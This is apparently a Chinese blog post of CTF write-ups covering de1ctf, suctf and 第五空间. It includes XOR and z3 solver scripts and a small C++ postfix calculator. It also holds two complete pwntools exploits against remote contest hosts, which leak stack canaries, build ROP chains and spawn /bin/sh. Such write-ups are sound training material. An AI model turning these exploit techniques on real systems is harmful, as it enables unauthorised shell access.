de1ctf+suctf+第五空间+算法

Author Avatar
Xzhah 8月 29, 2019
  • 在其它设备中阅读本文章

[TOC]

de1ctf

xorz

1
2
3
4
5
6
7
8
9
10
from itertools import *
from data import flag,plain

key=flag.strip("de1ctf{").strip("}")
assert(len(key<38))
salt="WeAreDe1taTeam"
ki=cycle(key)
si=cycle(salt)
cipher = ''.join([hex(ord(p) ^ ord(next(ki)) ^ ord(next(si)))[2:].zfill(2) for p in plain])
print cipher

因为密钥重复使用,所以猜测密钥长度后分组,密文分组异或=明文分组异或,利用空格异或字母大小写转换,可以确定明文的空格字符和对应的字符,逐步推出明文字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from itertools import *
import string
import copy
cypher='49380d773440222d1b421b3060380c3f403c3844791b202651306721135b6229294a3c3222357e766b2f15561b35305e3c3b670e49382c295c6c170553577d3a2b791470406318315d753f03637f2b614a4f2e1c4f21027e227a4122757b446037786a7b0e37635024246d60136f7802543e4d36265c3e035a725c6322700d626b345d1d6464283a016f35714d434124281b607d315f66212d671428026a4f4f79657e34153f3467097e4e135f187a21767f02125b375563517a3742597b6c394e78742c4a725069606576777c314429264f6e330d7530453f22537f5e3034560d22146831456b1b72725f30676d0d5c71617d48753e26667e2f7a334c731c22630a242c7140457a42324629064441036c7e646208630e745531436b7c51743a36674c4f352a5575407b767a5c747176016c0676386e403a2b42356a727a04662b4446375f36265f3f124b724c6e346544706277641025063420016629225b43432428036f29341a2338627c47650b264c477c653a67043e6766152a485c7f33617264780656537e5468143f305f4537722352303c3d4379043d69797e6f3922527b24536e310d653d4c33696c635474637d0326516f745e610d773340306621105a7361654e3e392970687c2e335f3015677d4b3a724a4659767c2f5b7c16055a126820306c14315d6b59224a27311f747f336f4d5974321a22507b22705a226c6d446a37375761423a2b5c29247163046d7e47032244377508300751727126326f117f7a38670c2b23203d4f27046a5c5e1532601126292f577776606f0c6d0126474b2a73737a41316362146e581d7c1228717664091c'.decode('hex')
salt="WeAreDe1taTeam"
s1=cycle(salt)
tmp=[ord(next(s1))^ord(c) for c in cypher]
k_len=30
flag=[]
for count in range(0,len(tmp)-6*k_len,k_len):
number = 0
a1=tmp[count:k_len+count]
#for i in range(k_len+count,tmp.len(),k_len):
''' if(str.isalpha(chr(a6[i]^a1[i])) or a1[i]^a6[i]==0):
if (str.isalpha(chr(a2[i] ^ a6[i]))or a2[i]^a6[i]==0):
if (str.isalpha(chr(a3[i] ^ a6[i]))or a3[i]^a6[i]==0):
if (str.isalpha(chr(a4[i] ^ a6[i]))or a4[i]^a6[i]==0):
if (str.isalpha(chr(a5[i] ^ a6[i])) or a5[i] ^ a6[i] == 0):
print i,chr(a6[i])'''
a2 = tmp[count+k_len:2*k_len+count]
a3 = tmp[count+2*k_len:3*k_len+count]
a4 = tmp[count+3*k_len:4*k_len+count]
a5 = tmp[count + 4*k_len:5 * k_len + count]
a6 = tmp[count + 5*k_len:6 * k_len + count]
for i in range(len(a1)):
if (str.isalpha(chr(a1[i] ^ a2[i])) or a1[i] ^ a2[i] == 0):
if (str.isalpha(chr(a1[i] ^ a3[i])) or a1[i] ^ a3[i] == 0):
if (str.isalpha(chr(a1[i] ^ a4[i])) or a1[i] ^ a4[i] == 0):
if (str.isalpha(chr(a1[i] ^ a5[i])) or a1[i] ^ a5[i] == 0):
if (str.isalpha(chr(a1[i] ^ a6[i])) or a1[i] ^ a6[i] == 0):
flag.append(str(i)+':'+chr(a1[i]^ord(' ')))
print list(set(flag))
#W3lc0m3tOjo1nu55un1ojOt3m0cl3W

或者也可以用set集合,把每个明文可能的异或结果都记录,最后分组做&操作(这是参考队里其他师傅的做法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from itertools import *
import string
import copy
cypher='49380d773440222d1b421b3060380c3f403c3844791b202651306721135b6229294a3c3222357e766b2f15561b35305e3c3b670e49382c295c6c170553577d3a2b791470406318315d753f03637f2b614a4f2e1c4f21027e227a4122757b446037786a7b0e37635024246d60136f7802543e4d36265c3e035a725c6322700d626b345d1d6464283a016f35714d434124281b607d315f66212d671428026a4f4f79657e34153f3467097e4e135f187a21767f02125b375563517a3742597b6c394e78742c4a725069606576777c314429264f6e330d7530453f22537f5e3034560d22146831456b1b72725f30676d0d5c71617d48753e26667e2f7a334c731c22630a242c7140457a42324629064441036c7e646208630e745531436b7c51743a36674c4f352a5575407b767a5c747176016c0676386e403a2b42356a727a04662b4446375f36265f3f124b724c6e346544706277641025063420016629225b43432428036f29341a2338627c47650b264c477c653a67043e6766152a485c7f33617264780656537e5468143f305f4537722352303c3d4379043d69797e6f3922527b24536e310d653d4c33696c635474637d0326516f745e610d773340306621105a7361654e3e392970687c2e335f3015677d4b3a724a4659767c2f5b7c16055a126820306c14315d6b59224a27311f747f336f4d5974321a22507b22705a226c6d446a37375761423a2b5c29247163046d7e47032244377508300751727126326f117f7a38670c2b23203d4f27046a5c5e1532601126292f577776606f0c6d0126474b2a73737a41316362146e581d7c1228717664091c'.decode('hex')
salt="WeAreDe1taTeam"
s1=cycle(salt)
tmp=[ord(next(s1))^ord(c) for c in cypher]
#print tmp
sett=[set() for i in range(0x100)]
table=string.letters+string.digits+' .,\';'
#table=string.printable
for i in table:
for j in table:
num=ord(i)^ord(j)
sett[num].add(i)
for k_len in range(38,0,-1):
for i in range(k_len):
s=copy.deepcopy(sett[tmp[i]])
for j in range(i,len(tmp),k_len):
s&=sett[tmp[j]]
if not len(s):
break
elif (i==k_len-1):
print k_len
k_len=30
for i in range(k_len):
s = copy.deepcopy(sett[tmp[i]])
for j in range(i, len(tmp), k_len ):
s &= sett[tmp[j]]
print s,i

suctf

hardcpp

用了控制流平坦化和虚假指令,我是手撸的,但是找师傅要了去混淆的脚本,打算后面学习下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
'''def encry(a1,a2):
return ((a1^18)*3+2)^(a2%7+a2)'''
from z3 import *

flag = [BitVec('flag[%d]' % i, 8) for i in range(21)]
s = Solver()


def get_models(s):
while s.check() == sat:
m = s.model()
yield m
s.add(Or([sym() != m[sym] for sym in m.decls()]))


s.add(And((((flag[0]^18)*3+2)^(flag[0]%7+flag[1]))==0xf3,
(((flag[1]^18)*3+2)^(flag[1]%7+flag[2]))==0x2e,
(((flag[2]^18)*3+2)^(flag[2]%7+flag[3]))==0x18,
(((flag[3]^18)*3+2)^(flag[3]%7+flag[4]))==0x36,
(((flag[4]^18)*3+2)^(flag[4]%7+flag[5]))==0x0E1,
(((flag[5]^18)*3+2)^(flag[5]%7+flag[6]))==0x4C,
(((flag[6]^18)*3+2)^(flag[6]%7+flag[7]))==0x22,
(((flag[7]^18)*3+2)^(flag[7]%7+flag[8]))==0xD1,
(((flag[8]^18)*3+2)^(flag[8]%7+flag[9]))==0xF9,
(((flag[9]^18)*3+2)^(flag[9]%7+flag[10]))==0x8C,
(((flag[10]^18)*3+2)^(flag[10]%7+flag[11]))==0x40,
(((flag[11]^18)*3+2)^(flag[11]%7+flag[12]))==0x76,
(((flag[12]^18)*3+2)^(flag[12]%7+flag[13]))==0xF4,
(((flag[13]^18)*3+2)^(flag[13]%7+flag[14]))==0xe,
(((flag[14]^18)*3+2)^(flag[14]%7+flag[15]))==0x0,
(((flag[15]^18)*3+2)^(flag[15]%7+flag[16]))==0x5,
(((flag[16]^18)*3+2)^(flag[16]%7+flag[17]))==0xA3,
(((flag[17]^18)*3+2)^(flag[17]%7+flag[18]))==0x90,
(((flag[18]^18)*3+2)^(flag[18]%7+flag[19]))==0x0e,
(((flag[19]^18)*3+2)^(flag[19]%7+flag[20]))==0xA5))


for i in range(21):
s.add(And(0x20 < flag[i], flag[i] < 0x7f))

for m in get_models(s):
serial = [m[flag[i]].as_long() for i in range(21)]

key = ''
for _ in serial: key += chr(_)
print key

第五空间

被迫做了两道pwn

栈溢出覆盖seed,可以得到十次guess number,然后格式化字符串可以得到文件加载基址和cannary,最后构造rop就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#p=process('bf')
p=remote('111.33.164.4',50001)

p.recvuntil('game?\n')
p.sendline('1')
p.recvuntil(' : ')
#gdb.attach(p)
p.sendline('%23$p'+'%17$p'+'a'*18+p64(0xDEADBEEF))

p.recvuntil('guess:')
p.sendline('20580')
p.recvuntil('guess:')
p.sendline('97396')
p.recvuntil('guess:')
p.sendline('50168')
p.recvuntil('guess:')
p.sendline('59152')
p.recvuntil('guess:')
p.sendline('22838')
p.recvuntil('guess:')
p.sendline('39971')
p.recvuntil('guess:')
p.sendline('88926')
p.recvuntil('guess:')
p.sendline('77090')
p.recvuntil('guess:')
p.sendline('32494')
p.recvuntil('guess:')
p.sendline('86846')
p.recvuntil('Correct!')
a=p.recv()
print a
log.success(a[17:33])
canary=int(a[17:33],16)
print canary
vmmap=int(a[3:15],16)-0xabf
print vmmap
pwn=vmmap+0xaa0
pop=vmmap+0xdb3
bss=vmmap+0x202088
pop_rsi=vmmap+0xdb1
reada=vmmap+0x8f0
p.sendline('a'*0x34+p64(canary)+'b'*8+p64(pop)+'\x00'*8+p64(pop_rsi)+p64(bss)*2+p64(reada)+p64(pop)+p64(bss)+p64(pwn))
p.sendline('/bin/sh')
p.interactive()

栈溢出,字符串没用0截断可以泄露canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

import base64

#p=process('./pwn9')
p=remote('111.33.164.4',50009)

#context.terminal = ['tmux', 'split', '-h']

context.log_level = 'debug'

p.recv()

#gdb.attach(p)

p.sendline('YWFhYWFhYWFh')

a='\x00'+p.recv()[21:28]

canary=u64(a)

bss=0x6ccbc0
reada=0x43ff70

log.success(hex(canary))

p.sendline('yes')

b='a'*8+p64(canary)+'a'*8+p64(0x401e36)+p64(0)+p64(0x401f57)+p64(bss)+p64(reada)+p64(0x4715e4)+p64(59)+p64(0x401e36)+p64(bss)+p64(0x401f57)+p64(0)+p64(0x4433e6)+p64(0)+p64(0x4003da)

payload=base64.b64encode(b)

p.sendline(payload)

gdb.attach(p)

p.sendline('no')

p.sendline('/bin/sh\x00')

p.interactive()

'''

4715e4 pop eax

401e36 pop rdi

401f57 : pop rsi ; ret

4433e6 : pop rdx ; ret

syscall 4003da'''

因为这比赛用的libc很迷,特意学了下libcdb。。。

算法

后缀计算,就是一个栈的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include<iostream>
#include<fstream>
#include<algorithm>
#include<vector>
#include<string>
#include<stack>
using namespace std;
stack<int> tmp;
int a,b;
string text;
int main(){
ifstream inFile("p.in");
ofstream outFile("p.out");
streambuf *cin_buf=cin.rdbuf();
streambuf *cout_buf=cout.rdbuf();
cin.rdbuf(inFile.rdbuf());
cout.rdbuf(outFile.rdbuf());
getline(cin,text);
int len=text.length();
for(int i=0;i<len;++i){
if(text[i]==' ')
continue;
if(text[i]=='+')
{
a=tmp.top();
tmp.pop();
b=tmp.top();
tmp.pop();
tmp.push(a+b);

}
else if(text[i]=='-')
{
a=tmp.top();
tmp.pop();
b=tmp.top();
tmp.pop();
tmp.push(b-a);

}
else if(text[i]=='-')
{
a=tmp.top();
tmp.pop();
b=tmp.top();
tmp.pop();
tmp.push(b-a);
}
else if(text[i]=='*')
{
a=tmp.top();
tmp.pop();
b=tmp.top();
tmp.pop();
tmp.push(b*a);
}
else if(text[i]=='/')
{
a=tmp.top();
tmp.pop();
b=tmp.top();
tmp.pop();
tmp.push(b/(float)a);
}
else{
int k=0;
while('0'<=text[i]&&text[i]<='9'){
if(text[i]==' ')
{++i;
continue;
}
k=k*10+text[i]-'0';
++i;
}
tmp.push(k);

}
}
cout<<tmp.top()<<endl;
return 0;
}